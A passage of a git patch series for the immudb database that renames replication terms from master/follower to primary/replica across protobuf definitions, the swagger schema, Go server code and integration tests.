0x65, 0x6d, 0x61, 0x92, 0x41, + 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, + 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, + 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, + 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, + 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, + 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, + 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, + 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, + 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, + 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, + 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, + 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -9874,7 +9874,7 @@ var file_schema_proto_goTypes = []interface{}{ (*TxScanRequest)(nil), // 62: immudb.schema.TxScanRequest (*TxList)(nil), // 63: immudb.schema.TxList (*ExportTxRequest)(nil), // 64: immudb.schema.ExportTxRequest - (*FollowerState)(nil), // 65: immudb.schema.FollowerState + (*ReplicaState)(nil), // 65: immudb.schema.ReplicaState (*Database)(nil), // 66: immudb.schema.Database (*DatabaseSettings)(nil), // 67: immudb.schema.DatabaseSettings (*CreateDatabaseRequest)(nil), // 68: immudb.schema.CreateDatabaseRequest @@ -9993,7 +9993,7 @@ var file_schema_proto_depIdxs = []int32{ 59, // 48: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 59, // 49: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec 33, // 50: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx - 65, // 51: immudb.schema.ExportTxRequest.followerState:type_name -> immudb.schema.FollowerState + 65, // 51: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState 80, // 52: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings 80, // 53: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings 80, // 54: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings @@ -10019,11 +10019,11 @@ var file_schema_proto_depIdxs = []int32{ 74, // 74: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 83, // 75: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings 77, // 76: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool - 78, // 77: immudb.schema.ReplicationNullableSettings.masterDatabase:type_name -> immudb.schema.NullableString - 78, // 78: immudb.schema.ReplicationNullableSettings.masterAddress:type_name -> immudb.schema.NullableString - 74, // 79: immudb.schema.ReplicationNullableSettings.masterPort:type_name -> immudb.schema.NullableUint32 - 78, // 80: immudb.schema.ReplicationNullableSettings.followerUsername:type_name -> immudb.schema.NullableString - 78, // 81: immudb.schema.ReplicationNullableSettings.followerPassword:type_name -> immudb.schema.NullableString + 78, // 77: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 78, // 78: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 74, // 79: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 78, // 80: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 78, // 81: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString 77, // 82: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool 74, // 83: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 74, // 84: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 @@ -10970,7 +10970,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FollowerState); i { + switch v := v.(*ReplicaState); i { case 0: return &v.state case 1: diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index ce5f307722..13f4628ad7 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -824,11 +824,11 @@ message ExportTxRequest { uint64 tx = 1; // If set to true, non-committed transactions can be exported bool allowPreCommitted = 2; - // Used on synchronous replication to notify the master about follower state - FollowerState followerState = 3; + // Used on synchronous replication to notify the primary about replica state + ReplicaState replicaState = 3; } -message FollowerState { +message ReplicaState { string UUID = 1; uint64 committedTxID = 2; bytes committedAlh = 3; @@ -849,19 +849,19 @@ message DatabaseSettings { bool replica = 2; // Name of the database to replicate - string masterDatabase = 3; + string primaryDatabase = 3; // Hostname of the immudb instance with database to replicate - string masterAddress = 4; + string primaryHost = 4; // Port of the immudb instance with database to replicate - uint32 masterPort = 5; + uint32 primaryPort = 5; // Username of the user with read access of the database to replicate - string followerUsername = 6; + string primaryUsername = 6; // Password of the user with read access of the database to replicate - string followerPassword = 7; + string primaryPassword = 7; // Size of files stored on disk uint32 fileSize = 8; @@ -1016,19 +1016,19 @@ message ReplicationNullableSettings { NullableBool replica = 1; // Name of the database to replicate - NullableString masterDatabase = 2; + NullableString primaryDatabase = 2; // Hostname of the immudb instance with database to replicate - NullableString masterAddress = 3; + NullableString primaryHost = 3; // Port of the immudb instance with database to replicate - NullableUint32 masterPort = 4; + NullableUint32 primaryPort = 4; // Username of the user with read access of the database to replicate - NullableString followerUsername = 5; + NullableString primaryUsername = 5; // Password of the user with read access of the database to replicate - NullableString followerPassword = 6; + NullableString primaryPassword = 6; // Enable synchronous replication NullableBool syncReplication = 7; @@ -1042,7 +1042,7 @@ message ReplicationNullableSettings { // Number of concurrent replications NullableUint32 replicationCommitConcurrency = 10; - // Allow precommitted transactions to be discarded if the follower diverges from the master + // Allow precommitted transactions to be discarded if the replica diverges from the primary NullableBool AllowTxDiscarding = 11; } diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 136af06bcc..4e029b2801 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2101,24 +2101,24 @@ "type": "boolean", "title": "If set to true, this database is replicating another database" }, - "masterDatabase": { + "primaryDatabase": { "type": "string", "title": "Name of the database to replicate" }, - "masterAddress": { + "primaryHost": { "type": "string", "title": "Hostname of the immudb instance with database to replicate" }, - "masterPort": { + "primaryPort": { "type": "integer", "format": "int64", "title": "Port of the immudb instance with database to replicate" }, - "followerUsername": { + "primaryUsername": { "type": "string", "title": "Username of the user with read access of the database to replicate" }, - "followerPassword": { + "primaryPassword": { "type": "string", "title": "Password of the user with read access of the database to replicate" }, @@ -2405,30 +2405,6 @@ } } }, - "schemaFollowerState": { - "type": "object", - "properties": { - "UUID": { - "type": "string" - }, - "committedTxID": { - "type": "string", - "format": "uint64" - }, - "committedAlh": { - "type": "string", - "format": "byte" - }, - "precommittedTxID": { - "type": "string", - "format": "uint64" - }, - "precommittedAlh": { - "type": "string", - "format": "byte" - } - } - }, "schemaHealthResponse": { "type": "object", "properties": { @@ -2939,6 +2915,30 @@ } } }, + "schemaReplicaState": { + "type": "object", + "properties": { + "UUID": { + "type": "string" + }, + "committedTxID": { + "type": "string", + "format": "uint64" + }, + "committedAlh": { + "type": "string", + "format": "byte" + }, + "precommittedTxID": { + "type": "string", + "format": "uint64" + }, + "precommittedAlh": { + "type": "string", + "format": "byte" + } + } + }, "schemaReplicationNullableSettings": { "type": "object", "properties": { @@ -2946,23 +2946,23 @@ "$ref": "#/definitions/schemaNullableBool", "title": "If set to true, this database is replicating another database" }, - "masterDatabase": { + "primaryDatabase": { "$ref": "#/definitions/schemaNullableString", "title": "Name of the database to replicate" }, - "masterAddress": { + "primaryHost": { "$ref": "#/definitions/schemaNullableString", "title": "Hostname of the immudb instance with database to replicate" }, - "masterPort": { + "primaryPort": { "$ref": "#/definitions/schemaNullableUint32", "title": "Port of the immudb instance with database to replicate" }, - "followerUsername": { + "primaryUsername": { "$ref": "#/definitions/schemaNullableString", "title": "Username of the user with read access of the database to replicate" }, - "followerPassword": { + "primaryPassword": { "$ref": "#/definitions/schemaNullableString", "title": "Password of the user with read access of the database to replicate" }, @@ -2984,7 +2984,7 @@ }, "AllowTxDiscarding": { "$ref": "#/definitions/schemaNullableBool", - "title": "Allow precommitted transactions to be discarded if the follower diverges from the master" + "title": "Allow precommitted transactions to be discarded if the replica diverges from the primary" } } }, diff --git a/pkg/database/database.go b/pkg/database/database.go index f7998b1127..ed0ebee96f 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1171,7 +1171,7 @@ func (d *db) serializeTx(tx *store.Tx, spec *schema.EntriesSpec, snap *store.Sna return stx, nil } -func (d *db) mayUpdateFollowerState(committedTxID uint64, newFollowerState *schema.FollowerState) error { +func (d *db) mayUpdateFollowerState(committedTxID uint64, newFollowerState *schema.ReplicaState) error { d.followerStatesMutex.Lock() defer d.followerStatesMutex.Unlock() @@ -1244,7 +1244,7 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp return nil, 0, mayCommitUpToAlh, ErrIllegalArguments } - if d.followerStates == nil && req.FollowerState != nil { + if d.followerStates == nil && req.ReplicaState != nil { return nil, 0, mayCommitUpToAlh, fmt.Errorf("%w: follower state was NOT expected", ErrIllegalState) } @@ -1257,20 +1257,20 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp committedTxID, committedAlh := d.st.CommittedAlh() preCommittedTxID, _ := d.st.PrecommittedAlh() - if req.FollowerState != nil { - if req.FollowerState.CommittedTxID > 0 { + if req.ReplicaState != nil { + if req.ReplicaState.CommittedTxID > 0 { // validate follower commit state - if req.FollowerState.CommittedTxID > committedTxID { + if req.ReplicaState.CommittedTxID > committedTxID { return nil, committedTxID, committedAlh, fmt.Errorf("%w: follower commit state diverged from master's", ErrFollowerDivergedFromMaster) } - expectedFollowerCommitHdr, err := d.st.ReadTxHeader(req.FollowerState.CommittedTxID, false) + expectedFollowerCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false) if err != nil { return nil, committedTxID, committedAlh, err } - followerCommittedAlh := schema.DigestFromProto(req.FollowerState.CommittedAlh) + followerCommittedAlh := schema.DigestFromProto(req.ReplicaState.CommittedAlh) if expectedFollowerCommitHdr.Alh() != followerCommittedAlh { return nil, expectedFollowerCommitHdr.ID, expectedFollowerCommitHdr.Alh(), @@ -1278,19 +1278,19 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp } } - if req.FollowerState.PrecommittedTxID > 0 { + if req.ReplicaState.PrecommittedTxID > 0 { // validate follower precommit state - if req.FollowerState.PrecommittedTxID > preCommittedTxID { + if req.ReplicaState.PrecommittedTxID > preCommittedTxID { return nil, committedTxID, committedAlh, fmt.Errorf("%w: follower precommit state diverged from master's", ErrFollowerDivergedFromMaster) } - expectedFollowerPrecommitHdr, err := d.st.ReadTxHeader(req.FollowerState.PrecommittedTxID, true) + expectedFollowerPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true) if err != nil { return nil, committedTxID, committedAlh, err } - followerPreCommittedAlh := schema.DigestFromProto(req.FollowerState.PrecommittedAlh) + followerPreCommittedAlh := schema.DigestFromProto(req.ReplicaState.PrecommittedAlh) if expectedFollowerPrecommitHdr.Alh() != followerPreCommittedAlh { return nil, expectedFollowerPrecommitHdr.ID, expectedFollowerPrecommitHdr.Alh(), @@ -1298,11 +1298,11 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp } // master will provide commit state to the follower so it can commit pre-committed transactions - if req.FollowerState.PrecommittedTxID < committedTxID { + if req.ReplicaState.PrecommittedTxID < committedTxID { // if follower is behind current commit state in master // return the alh up to the point known by the follower. // That way the follower is able to validate is following the right master. - mayCommitUpToTxID = req.FollowerState.PrecommittedTxID + mayCommitUpToTxID = req.ReplicaState.PrecommittedTxID mayCommitUpToAlh = followerPreCommittedAlh } else { mayCommitUpToTxID = committedTxID @@ -1310,7 +1310,7 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp } } - err = d.mayUpdateFollowerState(committedTxID, req.FollowerState) + err = d.mayUpdateFollowerState(committedTxID, req.ReplicaState) if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } @@ -1320,7 +1320,7 @@ func (d *db) ExportTxByID(req *schema.ExportTxRequest) (txbs []byte, mayCommitUp // current timeout it's not a special value but at least a relative one // note: master might also be waiting ack from any follower (even this follower may do progress) - // TODO: under some circustances, follower might not be able to do further progress until master + // TODO: under some circumstances, follower might not be able to do further progress until master // has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization ctx, cancel := context.WithTimeout(context.Background(), d.options.storeOpts.SyncFrequency*4) defer cancel() diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 242a48d60e..37f1030620 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -492,9 +492,9 @@ func TestReplica(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) err := client.CreateDatabase(ctx, &schema.DatabaseSettings{ - DatabaseName: "db1", - Replica: true, - MasterDatabase: "defaultdb", + DatabaseName: "db1", + Replica: true, + PrimaryDatabase: "defaultdb", }) require.NoError(t, err) diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index ddcbe4d32d..489037037c 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -130,13 +130,13 @@ func TestReplication(t *testing.T) { // create database as replica in follower server _, err = followerClient.CreateDatabaseV2(fctx, "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - Replica: &schema.NullableBool{Value: true}, - SyncReplication: &schema.NullableBool{Value: true}, - MasterDatabase: &schema.NullableString{Value: "masterdb"}, - MasterAddress: &schema.NullableString{Value: "127.0.0.1"}, - MasterPort: &schema.NullableUint32{Value: uint32(masterPort)}, - FollowerUsername: &schema.NullableString{Value: "follower"}, - FollowerPassword: &schema.NullableString{Value: "wrongPassword"}, + Replica: &schema.NullableBool{Value: true}, + SyncReplication: &schema.NullableBool{Value: true}, + PrimaryDatabase: &schema.NullableString{Value: "masterdb"}, + PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, + PrimaryPort: &schema.NullableUint32{Value: uint32(masterPort)}, + PrimaryUsername: &schema.NullableString{Value: "follower"}, + PrimaryPassword: &schema.NullableString{Value: "wrongPassword"}, }, }) require.NoError(t, err) @@ -145,7 +145,7 @@ func TestReplication(t *testing.T) { _, err = followerClient.UpdateDatabaseV2(fctx, "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - FollowerPassword: &schema.NullableString{Value: "follower1Pwd!"}, + PrimaryPassword: &schema.NullableString{Value: "follower1Pwd!"}, }, }) require.NoError(t, err) diff --git a/pkg/integration/replication/suite.go b/pkg/integration/replication/suite.go index 1b21c1c1f3..087ee02cd3 100644 --- a/pkg/integration/replication/suite.go +++ b/pkg/integration/replication/suite.go @@ -84,13 +84,13 @@ func (suite *baseReplicationTestSuite) AddFollower(sync bool) int { settings := &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - Replica: &schema.NullableBool{Value: true}, - SyncReplication: &schema.NullableBool{Value: sync}, - MasterDatabase: &schema.NullableString{Value: suite.masterDBName}, - MasterAddress: &schema.NullableString{Value: masterHost}, - MasterPort: &schema.NullableUint32{Value: uint32(masterPort)}, - FollowerUsername: &schema.NullableString{Value: replicaUsername}, - FollowerPassword: &schema.NullableString{Value: replicaPassword}, + Replica: &schema.NullableBool{Value: true}, + SyncReplication: &schema.NullableBool{Value: sync}, + PrimaryDatabase: &schema.NullableString{Value: suite.masterDBName}, + PrimaryHost: &schema.NullableString{Value: masterHost}, + PrimaryPort: &schema.NullableUint32{Value: uint32(masterPort)}, + PrimaryUsername: &schema.NullableString{Value: replicaUsername}, + PrimaryPassword: &schema.NullableString{Value: replicaPassword}, }, } @@ -157,12 +157,12 @@ func (suite *baseReplicationTestSuite) PromoteFollower(followerNum, syncAcks int _, err = client.UpdateDatabaseV2(ctx, suite.followersDBName[i], &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - Replica: &schema.NullableBool{Value: true}, - MasterAddress: &schema.NullableString{Value: host}, - MasterPort: &schema.NullableUint32{Value: uint32(port)}, - MasterDatabase: &schema.NullableString{Value: suite.masterDBName}, - FollowerUsername: &schema.NullableString{Value: replicaUsername}, - FollowerPassword: &schema.NullableString{Value: replicaPassword}, + Replica: &schema.NullableBool{Value: true}, + PrimaryHost: &schema.NullableString{Value: host}, + PrimaryPort: &schema.NullableUint32{Value: uint32(port)}, + PrimaryDatabase: &schema.NullableString{Value: suite.masterDBName}, + PrimaryUsername: &schema.NullableString{Value: replicaUsername}, + PrimaryPassword: &schema.NullableString{Value: replicaPassword}, }, }) require.NoError(suite.T(), err) diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index f407602ac1..3aa32bbe8c 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -52,9 +52,9 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { ctx := metadata.NewOutgoingContext(context.Background(), md) err = client.CreateDatabase(ctx, &schema.DatabaseSettings{ - DatabaseName: "replicateddb", - Replica: true, - MasterDatabase: "defaultdb", + DatabaseName: "replicateddb", + Replica: true, + PrimaryDatabase: "defaultdb", }) require.NoError(t, err) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 56d8400833..5fd8e766bc 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -312,10 +312,10 @@ func (txr *TxReplicator) fetchNextTx() error { nextTx := txr.lastTx + 1 - var state *schema.FollowerState + var state *schema.ReplicaState if syncReplicationEnabled { - state = &schema.FollowerState{ + state = &schema.ReplicaState{ UUID: txr.uuid.String(), CommittedTxID: commitState.TxId, CommittedAlh: commitState.TxHash, @@ -326,7 +326,7 @@ func (txr *TxReplicator) fetchNextTx() error { exportTxStream, err := txr.client.ExportTx(txr.context, &schema.ExportTxRequest{ Tx: nextTx, - FollowerState: state, + ReplicaState: state, AllowPreCommitted: syncReplicationEnabled, }) if err != nil { diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 7771b97e78..423165d112 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -271,11 +271,11 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: opts.Replica}, SyncReplication: &schema.NullableBool{Value: opts.SyncReplication}, - MasterDatabase: &schema.NullableString{Value: opts.MasterDatabase}, - MasterAddress: &schema.NullableString{Value: opts.MasterAddress}, - MasterPort: &schema.NullableUint32{Value: uint32(opts.MasterPort)}, - FollowerUsername: &schema.NullableString{Value: opts.FollowerUsername}, - FollowerPassword: &schema.NullableString{Value: opts.FollowerPassword}, + PrimaryDatabase: &schema.NullableString{Value: opts.MasterDatabase}, + PrimaryHost: &schema.NullableString{Value: opts.MasterAddress}, + PrimaryPort: &schema.NullableUint32{Value: uint32(opts.MasterPort)}, + PrimaryUsername: &schema.NullableString{Value: opts.FollowerUsername}, + PrimaryPassword: &schema.NullableString{Value: opts.FollowerPassword}, SyncAcks: &schema.NullableUint32{Value: uint32(opts.SyncAcks)}, PrefetchTxBufferSize: &schema.NullableUint32{Value: uint32(opts.PrefetchTxBufferSize)}, ReplicationCommitConcurrency: &schema.NullableUint32{Value: uint32(opts.ReplicationCommitConcurrency)}, @@ -346,12 +346,12 @@ func dbSettingsToDBNullableSettings(settings *schema.DatabaseSettings) *schema.D } repSettings := &schema.ReplicationNullableSettings{ - Replica: &schema.NullableBool{Value: settings.Replica}, - MasterDatabase: &schema.NullableString{Value: settings.MasterDatabase}, - MasterAddress: &schema.NullableString{Value: settings.MasterAddress}, - MasterPort: &schema.NullableUint32{Value: settings.MasterPort}, - FollowerUsername: &schema.NullableString{Value: settings.FollowerUsername}, - FollowerPassword: &schema.NullableString{Value: settings.FollowerPassword}, + Replica: &schema.NullableBool{Value: settings.Replica}, + PrimaryDatabase: &schema.NullableString{Value: settings.PrimaryDatabase}, + PrimaryHost: &schema.NullableString{Value: settings.PrimaryHost}, + PrimaryPort: &schema.NullableUint32{Value: settings.PrimaryPort}, + PrimaryUsername: &schema.NullableString{Value: settings.PrimaryUsername}, + PrimaryPassword: &schema.NullableString{Value: settings.PrimaryPassword}, } if !settings.Replica { @@ -422,28 +422,28 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul } else if opts.Replica { opts.SyncAcks = 0 } - if rs.MasterDatabase != nil { - opts.MasterDatabase = rs.MasterDatabase.Value + if rs.PrimaryDatabase != nil { + opts.MasterDatabase = rs.PrimaryDatabase.Value } else if !opts.Replica { opts.MasterDatabase = "" } - if rs.MasterAddress != nil { - opts.MasterAddress = rs.MasterAddress.Value + if rs.PrimaryHost != nil { + opts.MasterAddress = rs.PrimaryHost.Value } else if !opts.Replica { opts.MasterAddress = "" } - if rs.MasterPort != nil { - opts.MasterPort = int(rs.MasterPort.Value) + if rs.PrimaryPort != nil { + opts.MasterPort = int(rs.PrimaryPort.Value) } else if !opts.Replica { opts.MasterPort = 0 } - if rs.FollowerUsername != nil { - opts.FollowerUsername = rs.FollowerUsername.Value + if rs.PrimaryUsername != nil { + opts.FollowerUsername = rs.PrimaryUsername.Value } else if !opts.Replica { opts.FollowerUsername = "" } - if rs.FollowerPassword != nil { - opts.FollowerPassword = rs.FollowerPassword.Value + if rs.PrimaryPassword != nil { + opts.FollowerPassword = rs.PrimaryPassword.Value } else if !opts.Replica { opts.FollowerPassword = "" } diff --git a/pkg/server/server.go b/pkg/server/server.go index 94c89c0660..4fd46dd4a3 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1253,20 +1253,20 @@ func (s *ImmuServer) GetDatabaseSettings(ctx context.Context, _ *empty.Empty) (* if res.Settings.ReplicationSettings.Replica != nil { ret.Replica = res.Settings.ReplicationSettings.Replica.Value } - if res.Settings.ReplicationSettings.MasterDatabase != nil { - ret.MasterDatabase = res.Settings.ReplicationSettings.MasterDatabase.Value + if res.Settings.ReplicationSettings.PrimaryDatabase != nil { + ret.PrimaryDatabase = res.Settings.ReplicationSettings.PrimaryDatabase.Value } - if res.Settings.ReplicationSettings.MasterAddress != nil { - ret.MasterAddress = res.Settings.ReplicationSettings.MasterAddress.Value + if res.Settings.ReplicationSettings.PrimaryHost != nil { + ret.PrimaryHost = res.Settings.ReplicationSettings.PrimaryHost.Value } - if res.Settings.ReplicationSettings.MasterPort != nil { - ret.MasterPort = res.Settings.ReplicationSettings.MasterPort.Value + if res.Settings.ReplicationSettings.PrimaryPort != nil { + ret.PrimaryPort = res.Settings.ReplicationSettings.PrimaryPort.Value } - if res.Settings.ReplicationSettings.FollowerUsername != nil { - ret.FollowerUsername = res.Settings.ReplicationSettings.FollowerUsername.Value + if res.Settings.ReplicationSettings.PrimaryUsername != nil { + ret.PrimaryUsername = res.Settings.ReplicationSettings.PrimaryUsername.Value } - if res.Settings.ReplicationSettings.FollowerPassword != nil { - ret.FollowerPassword = res.Settings.ReplicationSettings.FollowerPassword.Value + if res.Settings.ReplicationSettings.PrimaryPassword != nil { + ret.PrimaryPassword = res.Settings.ReplicationSettings.PrimaryPassword.Value } } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 979a13363a..7a0d638640 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -385,9 +385,9 @@ func TestServerCreateDatabase(t *testing.T) { require.Equal(t, ErrIllegalArguments, err) dbSettings := &schema.DatabaseSettings{ - DatabaseName: "lisbon", - Replica: false, - MasterDatabase: "masterdb", + DatabaseName: "lisbon", + Replica: false, + PrimaryDatabase: "masterdb", } _, err = s.CreateDatabaseWith(ctx, dbSettings) require.ErrorIs(t, err, ErrIllegalArguments) @@ -548,15 +548,15 @@ func TestServerUpdateDatabaseAuthEnabled(t *testing.T) { require.Equal(t, database.ErrDatabaseNotExists, err) newdb := &schema.DatabaseSettings{ - DatabaseName: "lisbon", - Replica: true, - MasterDatabase: "defaultdb", + DatabaseName: "lisbon", + Replica: true, + PrimaryDatabase: "defaultdb", } _, err = s.CreateDatabaseWith(ctx, newdb) require.NoError(t, err) newdb.Replica = false - newdb.MasterDatabase = "" + newdb.PrimaryDatabase = "" _, err = s.UpdateDatabase(ctx, newdb) require.NoError(t, err) @@ -629,8 +629,8 @@ func TestServerUpdateDatabaseV2AuthEnabled(t *testing.T) { Name: "lisbon", Settings: &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ - Replica: &schema.NullableBool{Value: true}, - MasterDatabase: &schema.NullableString{Value: "defaultdb"}, + Replica: &schema.NullableBool{Value: true}, + PrimaryDatabase: &schema.NullableString{Value: "defaultdb"}, }, }, IfNotExists: true, diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index d032b39825..de884a687c 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -37,7 +37,7 @@ func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.Immu txbs, mayCommitUpToTxID, mayCommitUpToAlh, err := db.ExportTxByID(req) defer func() { - if req.FollowerState != nil { + if req.ReplicaState != nil { var bMayCommitUpToTxID [8]byte binary.BigEndian.PutUint64(bMayCommitUpToTxID[:], mayCommitUpToTxID) From 326363b1a213c97808e7e4fed2d3dacdab9ed4d0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bart=C5=82omiej=20=C5=9Awi=C4=99cki?= Date: Tue, 8 Nov 2022 14:33:48 +0100 Subject: [PATCH 0011/1062] fix: Change replication-related terms in codebase MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Bartłomiej Święcki --- cmd/immudb/command/parse_options.go | 8 +- pkg/database/database.go | 162 ++++++++++++++-------------- pkg/replication/options.go | 40 +++---- pkg/replication/options_test.go | 20 ++-- pkg/replication/replicator.go | 62 +++++------ pkg/replication/replicator_test.go | 10 +- pkg/server/db_options.go | 90 ++++++++-------- pkg/server/db_options_test.go | 10 +- pkg/server/options.go | 26 ++--- 